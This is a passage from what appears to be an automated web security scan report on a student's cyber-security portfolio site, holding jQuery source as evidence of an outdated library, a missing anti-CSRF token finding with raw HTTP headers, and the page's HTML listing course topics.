Yt=[],Qt=/(=)\?(?=&|$)|\?\?/;w.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Yt.pop()||w.expando+"_"+Et++;return this[e]=!0,e}}),w.ajaxPrefilter("json jsonp",function(t,n,r){var i,o,a,s=!1!==t.jsonp&&(Qt.test(t.url)?"url":"string"==typeof t.data&&0===(t.contentType||"").indexOf("application/x-www-form-urlencoded")&&Qt.test(t.data)&&"data");if(s||"jsonp"===t.dataTypes[0])return i=t.jsonpCallback=g(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(Qt,"$1"+i):!1!==t.jsonp&&(t.url+=(kt.test(t.url)?"&":"?")+t.jsonp+"="+i),t.converters["script json"]=function(){return a||w.error(i+" was not called"),a[0]},t.dataTypes[0]="json",o=e[i],e[i]=function(){a=arguments},r.always(function(){void 0===o?w(e).removeProp(i):e[i]=o,t[i]&&(t.jsonpCallback=n.jsonpCallback,Yt.push(i)),a&&g(o)&&o(a[0]),a=o=void 0}),"script"}),h.createHTMLDocument=function(){var e=r.implementation.createHTMLDocument("").body;return e.innerHTML="<form></form><form></form>",2===e.childNodes.length}(),w.parseHTML=function(e,t,n){if("string"!=typeof e)return[];"boolean"==typeof t&&(n=t,t=!1);var i,o,a;return t||(h.createHTMLDocument?((i=(t=r.implementation.createHTMLDocument("")).createElement("base")).href=r.location.href,t.head.appendChild(i)):t=r),o=A.exec(e),a=!n&&[],o?[t.createElement(o[1])]:(o=xe([e],t,a),a&&a.length&&w(a).remove(),w.merge([],o.childNodes))},w.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return s>-1&&(r=vt(e.slice(s)),e=e.slice(0,s)),g(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),a.length>0&&w.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?w("<div>").append(w.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},w.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){w.fn[t]=function(e){return this.on(t,e)}}),w.expr.pseudos.animated=function(e){return w.grep(w.timers,function(t){return e===t.elem}).length},w.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l,c=w.css(e,"position"),f=w(e),p={};"static"===c&&(e.style.position="relative"),s=f.offset(),o=w.css(e,"top"),u=w.css(e,"left"),(l=("absolute"===c||"fixed"===c)&&(o+u).indexOf("auto")>-1)?(a=(r=f.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),g(t)&&(t=t.call(e,n,w.extend({},s))),null!=t.top&&(p.top=t.top-s.top+a),null!=t.left&&(p.left=t.left-s.left+i),"using"in t?t.using.call(e,p):f.css(p)}},w.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){w.offset.setOffset(this,e,t)});var t,n,r=this[0];if(r)return r.getClientRects().length?(t=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:t.top+n.pageYOffset,left:t.left+n.pageXOffset}):{top:0,left:0}},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===w.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===w.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=w(e).offset()).top+=w.css(e,"borderTopWidth",!0),i.left+=w.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-w.css(r,"marginTop",!0),left:t.left-i.left-w.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===w.css(e,"position"))e=e.offsetParent;return e||be})}}),w.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n="pageYOffset"===t;w.fn[e]=function(r){return z(this,function(e,r,i){var o;if(y(e)?o=e:9===e.nodeType&&(o=e.defaultView),void 0===i)return o?o[t]:e[r];o?o.scrollTo(n?o.pageXOffset:i,n?i:o.pageYOffset):e[r]=i},e,r,arguments.length)}}),w.each(["top","left"],function(e,t){w.cssHooks[t]=_e(h.pixelPosition,function(e,n){if(n)return n=Fe(e,t),We.test(n)?w(e).position()[t]+"px":n})}),w.each({Height:"height",Width:"width"},function(e,t){w.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){w.fn[r]=function(i,o){var a=arguments.length&&(n||"boolean"!=typeof i),s=n||(!0===i||!0===o?"margin":"border");return z(this,function(t,n,i){var o;return y(t)?0===r.indexOf("outer")?t["inner"+e]:t.document.documentElement["client"+e]:9===t.nodeType?(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});Evidence /*! jQuery v3.3.1Solution Please upgrade to the latest version of jquery.
-
-
-
Risk=Low, Confidence=Medium (9)
-
https://beekmans.dev (9)
-
Absence of Anti-CSRF Tokens (2)
GET https://beekmans.dev
Alert tags Alert description No Anti-CSRF tokens were found in a HTML submission form.
A cross-site request forgery is an attack that involves forcing a victim to send an HTTP request to a target destination without their knowledge or intent in order to perform an action as the victim. The underlying cause is application functionality using predictable URL/form actions in a repeatable way. The nature of the attack is that CSRF exploits the trust that a web site has for a user. By contrast, cross-site scripting (XSS) exploits the trust that a user has for a web site. Like XSS, CSRF attacks are not necessarily cross-site, but they can be. Cross-site request forgery is also known as CSRF, XSRF, one-click attack, session riding, confused deputy, and sea surf.
CSRF attacks are effective in a number of situations, including:
* The victim has an active session on the target site.
* The victim is authenticated via HTTP auth on the target site.
* The victim is on the same local network as the target site.
CSRF has primarily been used to perform an action against a target site using the victim's privileges, but recent techniques have been discovered to disclose information by gaining access to the response. The risk of information disclosure is dramatically increased when the target site is vulnerable to XSS, because XSS can be used as a platform for CSRF, allowing the attack to operate within the bounds of the same-origin policy.
Other info No known Anti-CSRF token [anticsrf, CSRFToken, __RequestVerificationToken, csrfmiddlewaretoken, authenticity_token, OWASP_CSRFTOKEN, anoncsrf, csrf_token, _csrf, _csrfSecret, __csrf_magic, CSRF, _token, _csrf_token] was found in the following HTML form: [Form 1: "email" "name" "phone" ].
Request Request line and header section (192 bytes)
GET https://beekmans.dev HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cacheRequest body (0 bytes)
Response Status line and header section (1047 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:11 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4lOrbKK8y%2Bn8QLhKEGpB7rePrCHT1J%2BQaOZJP06h5%2BW2GkK9CRq%2Fdn7ChLzJzoJLiDaKfMYCpMPOGx7ddQ5eVNaVcohEeYRecx%2BV4c%2BapqYy04o6ANFaN3V3sF2rfmk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a31e5f8a4c13-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178340 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div 